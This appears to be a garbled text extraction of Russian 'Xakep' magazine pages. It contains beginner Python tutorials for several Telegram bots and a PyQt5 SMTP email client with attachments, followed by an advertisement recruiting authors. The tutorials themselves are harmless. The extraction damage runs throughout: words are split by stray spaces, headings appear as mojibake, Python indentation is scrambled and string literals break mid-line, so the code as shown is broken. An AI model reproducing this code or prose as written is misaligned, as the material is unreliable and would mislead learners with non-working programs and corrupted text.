 def handle_text(message):
    bot.send_message(message.chat.id, getwiki(message.text))

# Запускаем бота
 bot.polling(none_stop=True, interval=0)

При мер работы Wikipedia-бота

WWW

При соз дании сле дующих ботов мы будем
исполь зовать нес коль ко тек сто вых фай лов с кон- 
тентом.  их мож но с моего сай та.Ска чать

ÁÎÒ Ñ ÄÂÓÌß ÂÈÐÒÓÀËÜÍÛÌÈ ÊÍÎÏÊÀÌÈ

Во мно гих Telegram-ботах для выбора каких-то дей ствий исполь зуют ся так
называ емые вир туаль ные кноп ки. Давай поп робу ем сде лать себе такие же!

Пред положим, что у нас есть два фай ла  и , которые

содер жат спи сок инте рес ных фак тов и поговор ки. На каж дой стро ке фай лов
находит ся по одно му фак ту или поговор ке.

facts.txt thinks.txt

Сде лаем бота, в котором будут две кноп ки: «Фак ты» и «Поговор ки». Если
нажать любую, бот отпра вит поль зовате лю соот ветс тву ющее сооб щение.

INFO

Ес ли ты будешь исполь зовать для это го бота тот
же токен, что и для пре дыду щего, то, что бы уви- 
деть кноп ки, переза пус ти бота коман дой 

.
/

start

 import telebot
 import random

   from telebot import types

# Загружаем список интересных фактов
    f = open('data/facts.txt', 'r', encoding='UTF-8')

  facts = f.read().split('\n')
f.close()

# Загружаем список поговорок
    f = open('data/thinks.txt', 'r', encoding='UTF-8')

   thinks = f.read().split('\n')
f.close()

# Создаем бота
  bot = telebot.TeleBot('Здесь твой токен, полученный от @botfather')

# Команда start
@bot.message_handler(commands=["start"])

  def start(m, res=False):
       # Добавляем две кнопки
       markup=types.ReplyKeyboardMarkup(resize_keyboard=True)
       item1=types.KeyboardButton("Факт")
       item2=types.KeyboardButton("Поговорка")
       markup.add(item1)
       markup.add(item2)

 
  

       bot.send_message(m.chat.id, 'Нажми: \nФакт для получения 
интересного факта\nПоговорка — для получения мудрой цитаты ',
reply_markup=markup)

# Получение сообщений от юзера
@bot.message_handler(content_types=["text"])

 def handle_text(message):
   # Если юзер прислал 1, выдаем ему случайный факт
       if message.text.strip() == 'Факт' :

             answer = random.choice(facts)
   # Если юзер прислал 2, выдаем умную мысль
      elif message.text.strip() == 'Поговорка':

             answer = random.choice(thinks)
   # Отсылаем юзеру сообщение в его чат
    bot.send_message(message.chat.id, answer)

# Запускаем бота
 bot.polling(none_stop=True, interval=0)

При мер работы бота, зна юще го фак ты и поговор ки

ÁÎÒ, ÂÅÄÓÙÈÉ TELEGRAM-ÊÀÍÀË Ñ ÀÍÅÊÄÎÒÀÌÈ

Пре дыду щие боты посыла ли юзе ру сооб щения тог да, ког да получа ли от него
коман ды или фра зы. Но что, если нам нужен бот, который будет пери оди чес ки
и в авто мати чес ком режиме пос тить что-то в наш канал?

Да вай сде лаем бота, который получа ет спи сок анек дотов из фай ла и каж- 
дый час пос тит в канал один из этих анек дотов. Для это го нам нуж но соз дать
свой канал в Telegram, добавить в под писчи ки канала нашего бота и наз- 
начить его адми нис тра тором канала с пра вом пуб ликовать сооб щения.

Файл с анек дотами дол жен лежать в пап ке  рядом со скрип том бота.data

 import telebot
 import time

# Токен, который выдает @botfather
  bot = telebot.TeleBot('Здесь твой токен, полученный от @botfather')

# Адрес телеграм-канала, начинается с @
  CHANNEL_NAME = '@адрес_твоего_канала'

# Загружаем список шуток
    f = open('data/fun.txt', 'r', encoding='UTF-8')

  jokes = f.read().split('\n')
f.close()

# Пока не закончатся шутки, посылаем их в канал
   for joke in jokes:

    bot.send_message(CHANNEL_NAME, joke)
   # Делаем паузу в один час
   time.sleep(3600)

 bot.send_message(CHANNEL_NAME, "Анекдоты закончились :-(")

При мер работы бота, ведуще го канал с анек дотами

×ÀÒ-ÁÎÒ «ÌÀØÀ»

Те перь давай сде лаем прос тей шего чат-бота, который будет бол тать с поль- 
зовате лем. Для это го мы под готовим файл , содер жащий стро ки
с воп росами (в начале таких строк пос тавим мет ку ) и отве тами на них

в сле дующей стро ке.

boltun.txt
u:

  u: как зовут
  Маша меня зовут!

   u: сколько тебе лет
   Мне уже 18, честно-честно!

Файл  помес тим в пап ку  рядом со скрип том бота. Для поис- 

ка похожих воп росов исполь зуем модуль , который поз воля ет

срав нивать, нас коль ко похожи меж ду собой две стро ки. Естес твен но, спер ва
этот модуль нуж но уста новить:

boltun.txt data
fuzzywuzzy

  pip install fuzzywuzzy
  pip install python-Levenshtein

Ни же при веден исходный код бота. Пос ле его запус ка напиши боту «При вет»
и поп робуй с ним пооб щать ся. Естес твен но, это не искусс твен ный интеллект
и набор его отве тов огра ничен фра зами из фай ла .boltun.txt

 import telebot
 import os

   from fuzzywuzzy import fuzz

# Создаем бота, пишем свой токен
  bot = telebot.TeleBot('Здесь твой токен, полученный от @botfather')

# Загружаем список фраз и ответов в массив
mas=[]

 if os.path.exists('data/boltun.txt'):
     f=open('data/boltun.txt', 'r', encoding='UTF-8')
      for x in f:

         if(len(x.strip()) > 2):
           mas.append(x.strip().lower())
   f.close()

# С помощью fuzzywuzzy вычисляем наиболее похожую фразу и выдаем в 
качестве ответа следующий элемент списка

 def answer(text):
   try:
       text=text.lower().strip()

        if os.path.exists('data/boltun.txt'):
             a = 0
             n = 0
             nn = 0
              for q in mas:

                 if('u: ' in q):
                   # С помощью fuzzywuzzy получаем, насколько 
похожи две строки

                    aa=(fuzz.token_sort_ratio(q.replace('u: ',''),
text))

                        if(aa > a and aa!= a):
                         a = aa
                         nn = n

                   n = n + 1
               s = mas[nn + 1]

            return s
       else:

            return 'Ошибка'
   except:

        return 'Ошибка'

# Команда «Старт»
@bot.message_handler(commands=["start"])

  def start(m, res=False):
        bot.send_message(m.chat.id, 'Я на связи. Напиши мне Привет )'

)

# Получение сообщений от юзера
@bot.message_handler(content_types=["text"])

 def handle_text(message):
   # Запись логов
         f=open('data/' + str(message.chat.id) + '_log.txt', 'a', encoding
='UTF-8')
   s=answer(message.text)
          f.write('u: ' + message.text + '\n' + s +'\n')
   f.close()
   # Отправка ответа
    bot.send_message(message.chat.id, s)

# Запускаем бота
 bot.polling(none_stop=True, interval=0)

При мер работы чат-бота

ÂÛÂÎÄÛ

Мы написа ли пять прос тых ботов, на при мере которых научи лись при нимать
и отправ лять сооб щения, делать кноп ки и понимать неточ ные зап росы.

В сле дующей статье мы рас смот рим работу с Telegram-ботами более под- 
робно: научим ся делать ботов, работа ющих через веб-хуки, при нимать опла- 
ту от поль зовате лей и вза имо дей ство вать с базой дан ных SQLite.

Так же при зываю тебя не откла дывать и записы вать ся на курс «Python
для нович ков», где мы от прос тей ших понятий перей дем к соз данию пер вых
инте рес ных про ектов. Стар туем уже сов сем ско ро!

Курс по Python
Курс «Python с нуля» нап равлен на изу чение основ и базовых кон цепций прог- 
рамми рова ния. Пос ле него ты смо жешь лег ко углу бить ся в любую
из ИТ-сфер: веб-раз работ ку, ана лиз дан ных, безопас ность при ложе ний и так
далее. Про дол житель ность кур са — два кален дарных месяца. Уро ки будут
про водить ся два раза в неделю (втор ник и чет верг, ори енти ровоч но
в 17:00 по Мос кве), каж дый по одно му ака деми чес кому часу. Пери оди чес ки
будут выдавать ся домаш ние задания.

За писать ся на курс

mailto:solblackbox@mail.ru
https://my.xakep.ru/python
https://xakep.ru/2021/06/21/python-for-newbies/
https://xakep.ru/2021/07/07/python-for-newbies-2/
https://xakep.ru/2021/08/04/python-for-newbies-3/
https://t.me/BotFather
http://pythonvideo.ru/files.zip
https://my.xakep.ru/python
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КОДИНГ

Воз можно, ты уже уме ешь писать прос тые
сце нарии на Python, но про бовал ли ты
делать гра фичес кие прог раммы с нас- 
тоящи ми работа ющи ми кно поч ками?
Поверь, это тоже край не увле катель но и не
очень слож но! Сегод ня мы поп ракти куем ся
в этом, написав на Python и Qt прос той поч- 
товик, который будет отправ лять пись ма
с атта чами.

Сра зу ого ворим ся, что при ложе ние будет с рядом огра ниче ний: в час тнос ти,
мы не будем даже прис тупать к чте нию поч ты и не смо жем выбирать поч товый
сер вис для отправ ки. К тому же пись ма из самопаль ного поч товика могут
чаще попадать в спам. Вос при нимай это ско рее как учеб ный при мер,
который поможет тебе осво ить полез ные навыки.

ÈÍÒÅÐÔÅÉÑ

Для начала давай соз дадим интерфейс будуще го при ложе ния. Для это го вос- 
поль зуем ся фрей мвор ком для раз работ ки кросс-плат формен ного ПО — Qt 5.
Пот ребу ется  и уста новить.ска чать его

От кро ем Qt Designer и в появив шемся окне выбора пос тавим галоч ку
на пун кте Main Window.

Соз дание нового окна

За тем соз дадим окно при помощи готовых инс тру мен тов, а имен но 
для тек ста,  для строк вво да,  для поля вво да тек ста, а так- 

же  для кно пок. Раз ложить всё можешь так, как тебе пон равит ся,

глав ное — пос тавить все эле мен ты, показан ные на кар тинке, и запом нить их
номера. Даль ше будет понят но, зачем это.

Label

Line Edit Text Edit

Push Button

Ин терфейс кли ента

Не забудь в поле вво да пароля пос тавить параметр ,

что бы скрыть пароль, а так же вык лючить поля, которые могут быть активны
толь ко пос ле пра виль ного вво да дан ных. Что бы это сде лать, необ ходимо
в поле  убрать галоч ку.

echoMode = Password

enabled
Пос ле завер шения работы мое окно выг лядит как на скрин шоте.

Сох раняй документ, и получишь файл с рас ширени ем ui, который и будет
фай лом интерфей са. Я наз вал его . Теперь к коду!Main.ui

Пер вым делом импорти руем две биб лиоте ки. Они нуж ны для работы с Qt
5.

   from PyQt5.QtWidgets import *
   from PyQt5 import uic

Те перь про писы ваем класс интерфей са и в нем все фун кции. У нас будет
фун кция вво да ( ), фун кция прик репле ния фай ла ( ) и фун кция
отправ ки сооб щений ( ). Так же в осно ве основ лежит фун кция

вызова гра фичес кого интерфей са с демонс тра цией окна и акти ваци ей трех
кно пок.

login attach_sth
send_mail

 class MyGUI(QMainWindow):

    def __init__(self):
        super(MyGUI, self).__init__()

        uic.loadUi('Main.ui', self)
       self.show()

       self.pushButton.clicked.connect(self.login)
       self.pushButton_2.clicked.connect(self.attach_sth)
       self.pushButton_3.clicked.connect(self.send_mail)

    def login(self):
       pass

    def attach_sth(self):
       pass

    def send_mail(self):
       pass

  app = QApplication([])
  windows = MyGUI()

app.exec_()

Здесь инте рес на фун кция . Она оста нав лива ет работу с тер- 

миналом, что бы все вза имо дей ствие с при ложе нием шло толь ко через гра- 
фичес кий интерфейс.

app.exec_()

Код уже мож но запус тить! Ты уви дишь окно с нарисо ван ным тобой
интерфей сом, но в нем пока что ничего не будет работать. Конеч но, мы же
еще не опре дели ли, как это дол жно про исхо дить.

ÏÈØÅÌ ÎÑÍÎÂÍÓÞ ×ÀÑÒÜ

Итак, задача — написать дви жок. Прис тупим.
Фун кция вхо да. В ней мы дела ем две вещи: логиним ся и соз даем

перемен ную  (перемен ная с содер жани ем пись ма).msg

 def login(self):
       try:

             self.server = smtplib.SMTP(self.lineEdit_3.text(),
           # Обращаемся к протоколу SMTP по нужному порту
           self.lineEdit_4.text())
           # Отправляем запрос ELHO
           self.server.ehlo()
           # TLS-соединение
           self.server.starttls()
           # Снова отправляем запрос ELHO
           self.server.ehlo()
           self.server.login(self.lineEdit.text(),
           # Ввод логина и пароля
           self.lineEdit_2.text())

           # Переводим все поля входа в выключенное состояние
           self.lineEdit.setEnabled(False)
           self.lineEdit_2.setEnabled(False)
           self.lineEdit_3.setEnabled(False)
           self.lineEdit_4.setEnabled(False)
           self.pushButton.setEnabled(False)

           # Переводим все поля письма во включенное состояние
           self.lineEdit_5.setEnabled(True)
           self.lineEdit_6.setEnabled(True)
           self.textEdit.setEnabled(True)
           self.pushButton_2.setEnabled(True)
           self.pushButton_3.setEnabled(True)

           # Создание переменной msg
             self.msg = MIMEMultipart()

       # При ошибке в логине и/или пароле
        except smtplib.SMTPAuthenticationError:

           # Создать окно
             massage_box = QMessageBox()

           # Окно заполнить текстом
           massage_box.setText('Недопустимые данные!')
           # Переключиться на окно
           massage_box.exec()
       except:

             massage_box = QMessageBox()
           massage_box.setText('Не удалось выполнить вход!')
           massage_box.exec()

INFO

EHLO — это гла гол рас ширен ного про токо ла
переда чи прос тых сооб щений (ESMTP), опре- 
делен ный в RFC 5321. Сер веры ESMTP могут объ- 
являть о сво их воз можнос тях во вре мя началь- 
ного под клю чения. Сре ди них — мак сималь ный
допус тимый раз мер сооб щения и под держи- 
ваемые методы про вер ки под линнос ти. HELO —
это более ста рая коман да SMTP, опре делен ная
в RFC 821. Боль шинс тво SMTP-сер веров под- 
держи вают ESMTP и EHLO. Если сер вер не под- 
держи вает EHLO, вмес то него мож но исполь- 
зовать HELO.

Да лее идет фун кция прик репле ния вло жений:

 def attach_sth(self):
       # Открываем диалоговое окно выбора файлов

         options = QFileDialog.Options()
       # Смотрим все типы файлов

           filenames, _ = QFileDialog.getOpenFileNames(self, 'Open
          File', '', 'All Files (*.*)', options=options)

       # Собираем файлы
          if filenames != []:

              for filename in filenames:
                  attachment = open(filename, 'rb')

                   filename = filename[filename.rfind('/') + 1:]

               # Кодируем файл по стандарту MIME
                  p = MIMEBase('application', 'octet-stream')

               p.set_payload(attachment.read())
               encoders.encode_base64(p)
               # Пишем имя файла

                p.add_header('Content-Disposition', f'attachment; 
filename={filename}')
               self.msg.attach(p)
               # Ставим запятые после первого вложения

                 if not self.label_8.text().endswith(': '):
                     self.label_8.setText(self.label_8.text() + ',')

                   self.label_8.setText(self.label_8.text() + ' ' +
filename)

Соз дание той самой перемен ной :msg

 def send_mail(self):
       # Создаем окно с уточнением

         dialog = QMessageBox()
       dialog.setText('Вы хотите отправить сообщение?')
       # Выбор ответов

        dialog.addButton(QPushButton('Да'), QMessageBox.YesRole)
        dialog.addButton(QPushButton('Нет'), QMessageBox.NoRole)

          if dialog.exec_() == 0:
           try:
               # От кого сообщение

                 self.msg['From'] = 'Xakep'
               # Кому

                 self.msg['To'] = self.lineEdit_6.text()
               # Тема

                 self.msg['Subject'] = self.lineEdit_5.text()
               # Собираем сообщение

                self.msg.attach(MIMEText(self.textEdit.toPlainText(),
'plain'))

                 text = self.msg.as_string()
               # Отправляем по пути
               self.server.sendmail(self.lineEdit.text(),

                self.lineEdit_6.text(), text)
               # Создаем окно с подтверждением

                 massage_box = QMessageBox()
               massage_box.setText('Сообщение отправлено!')
               massage_box.exec()

           except:
               # Создаем окно с ошибкой

                 massage_box = QMessageBox()
               massage_box.setText('Не удалось отправить сообщение!'
)
               massage_box.exec()

Весь код можешь пос мотреть на .мо ем GitHub

ÍÀÑÒÐÀÈÂÀÅÌ ÏÎ×ÒÓ

Я выб рал поч ту Gmail, пос коль ку в нем мож но вык лючить защиту от сто рон них
при ложе ний. Мно гие дру гие поч товики ста вят зап рет на нее, а здесь дос- 
таточ но перей ти по  и выс тавить раз решение.ссыл ке

Вклю чение отправ ки с нашего кли ента

Ад рес SMTP для Gmail — , порт — 587. Для дру гих поч товых

кли ентов мож но пос мотреть эти дан ные, прос то загуг лив их наз вание со сло- 
вом SMTP.

smtp.gmail.com

ÂÛÂÎÄÛ

Вот мы и написа ли свой базовый кли ент для отправ ки писем с любыми вло- 
жени ями. Как видишь, все, что нуж но, — это нарисо вать фор му и написать
обра бот чики, про цесс очень прос той и пря моли ней ный.

На вся кий слу чай пре дуп реждаю: можешь даже не пытать ся исполь зовать
этот код без изме нений в незакон ных целях. Мы здесь никак не скры ваем
свой IP, никак не шиф руем фай лы и не обхо дим анти виру сы.

За то ты можешь исполь зовать этот при мер, что бы добавить к сво им при- 
ложе ниям удоб ный гра фичес кий интерфейс.

https://valerylinkov.ru/
https://www.qt.io/download
https://github.com/Babaika25/EMail
https://myaccount.google.com/lesssecureapps


СТАНЬ АВТОРОМ
«ХАКЕРА»!

«Хакеру» нуж ны новые авто ры, и ты можешь стать одним
из них! Если тебе инте рес но то, о чем мы пишем, и есть
желание иссле довать эти темы вмес те с нами, то не упус ти
воз можность всту пить в ряды наших авто ров и получать
за это все, что им при чита ется.

 Раз мер зависит
от слож ности и уни каль нос ти темы и объ ема про делан ной работы (но
не от объ ема тек ста).

• Àâ òîðû ïîëó÷à þò äåíåæ íîå âîç íàãðàæ äåíèå.

: каж дая опуб ликован ная
статья при носит месяц под писки и зна читель но уве личи вает лич ную скид- 
ку. Уже пос ле треть его раза под писка ста нет бес плат ной нав сегда.

• Íà øè àâòî ðû ÷èòà þò «Õàêåð» áåñ ïëàò íî

Кро ме того, 
. А еще мы пла ниру ем запуск

англо языч ной вер сии, так что 
.

íà ëè÷èå ïóá ëèêàöèé — ýòî îòëè÷íûé ñïî ñîá ïîêàçàòü

ðàáîòî äàòå ëþ è êîë ëåãàì, ÷òî òû â òåìå

ó òåáÿ áóäåò øàíñ áûòü óçíàííûì è çà

ðóáåæîì

И конеч но, 
. На сай те ты можешь сам запол нить харак терис тику, пос тавить фото,

написать что-то о себе, добавить ссыл ку на сайт и про фили в соц сетях. Или,
наобо рот, не делать это го в целях кон спи рации.

ìû âñåã äà óêà çûâà åì â ñòàòü ÿõ èìÿ èëè ïñåâ äîíèì

àâòî ðà

ß ÒÅÕÍÀÐÜ, À ÍÅ ÆÓÐÍÀËÈÑÒ. ÏÎËÓ×ÈÒÑß ËÈ Ó ÌÅÍß ÍÀÏÈÑÀÒÜ

ÑÒÀÒÜÞ?

Глав ное в нашем деле — зна ния по теме, а не короч ки жур налис та. Зна ешь
тему — зна чит, и написать смо жешь. Не уме ешь — поможем, будешь сом- 
невать ся — под держим, накося чишь — отре дак тиру ем. Не зря у нас работа ет
столь ко редак торов! Они не толь ко пра вят бук вы, но и помога ют с темами
и фор матом и «при чесы вают» автор ский текст, если в этом есть необ- 
ходимость. И конеч но, перед пуб ликаци ей мы сог ласу ем с авто ром все прав- 
ки и вно сим новые, если нуж но.

ÊÀÊ ÏÐÈÄÓÌÀÒÜ ÒÅÌÓ?

Те мы для ста тей — дело неп ростое, но и не такое слож ное, как может
показать ся. Сто ит начать, и ты навер няка будешь при думы вать темы одну
за дру гой!

Пер вым делом задай себе нес коль ко прос тых воп росов:

Час тый слу чай: люди дела ют что-то пот ряса ющее, но счи тают свое
занятие впол не обы ден ным. Если твоя мама и девуш ка не хотят слу шать
про реверс мал вари, сбор ку ядра Linux, про екти рова ние мик ропро цес- 
соров или хра нение дан ных в ДНК, это не зна чит, что у тебя не най дет ся
бла годар ных читате лей.

• «Ðàç áèðà þñü ëè ÿ â ÷åì‑òî, ÷òî ìîæåò çàèí òåðåñî âàòü äðó ãèõ?»

 Если
ты ресер чишь, баг хантишь, реша ешь crackme или задач ки на CTF, если ты
раз рабаты ваешь что-то необыч ное или даже прос то нас тро ил себе
какую-то удоб ную шту кови ну, обя затель но рас ска жи нам! Мы вмес те при- 
дума ем, как луч ше подать твои наработ ки.

• «Áûëè ëè ó ìåíÿ â ïîñ ëåäíåå âðå ìÿ èíòå ðåñ íûå ïðî åêòû?»

Поп робуй вспом нить: если ты бук валь но недав но рас ска зывал кому-то
о чем-то очень важ ном или зах ватыва ющем (и свя зан ным с ИБ или ИТ), то
с немалой веро ятностью это может быть неп лохой темой для статьи.
Или как минимум натол кнет тебя на тему.

• «Çíàþ ëè ÿ êàêóþ‑òî èñòî ðèþ, êîòîðàÿ êàæåò ñÿ ìíå êðó òîé?»

 Если
мы о чем-то не писали, это мог ло быть не умыш ленно. Воз можно, прос то
никому не приш ла в голову эта тема или не было челове ка, который
взял бы ее на себя. Кста ти, даже если писать сам ты не собира ешь ся, под- 
кинуть нам идею все рав но мож но.

• «Íå ïîä ìå÷àë ëè ÿ, ÷òî â Õàêåðå óïóñ òèëè ÷òî‑òî âàæ íîå?»

Óãî âîðè ëè, êàêîâ ïëàí äåé ñòâèé?

1. При думы ваешь акту аль ную тему или нес коль ко.
2. Опи сыва ешь эту тему так, что бы было понят но, что будет в статье и зачем

ее кому-то читать. Обыч но дос таточ но рабоче го заголов ка и нес коль ких
пред ложений (pro tip: их потом мож но пус тить на вве дение).

3.  и отправ ляешь ему свои темы (мож но глав реду —
он раз берет ся). Заод но неп лохо быва ет пред ста вить ся и написать пару
слов о себе.

Вы бира ешь редак тора

4. С редак тором сог ласу ете детали и сро ки сда чи чер новика. Так же он выда- 
ет тебе пра вила офор мле ния и отве чает на все инте ресу ющие воп росы.

5. Пи шешь статью в срок и отправ ляешь ее. Если воз ника ют какие-то проб- 
лемы, сом нения или прос то задер жки, ты зна ешь, к кому обра щать ся.

6. Ре дак тор чита ет статью, при нима ет ее или воз вра щает с прось бой
дорабо тать и руководс твом к дей ствию.

7. Пе ред пуб ликаци ей получа ешь вер сию с прав ками и обсужда ешь их
с редак тором (или прос то даешь доб ро).

8. До жида ешь ся выхода статьи и пос тупле ния воз награж дения.

TL;DR
Ес ли хочешь пуб ликовать ся в «Хакере», при думай тему для пер вой статьи
и пред ложи .ре дак ции
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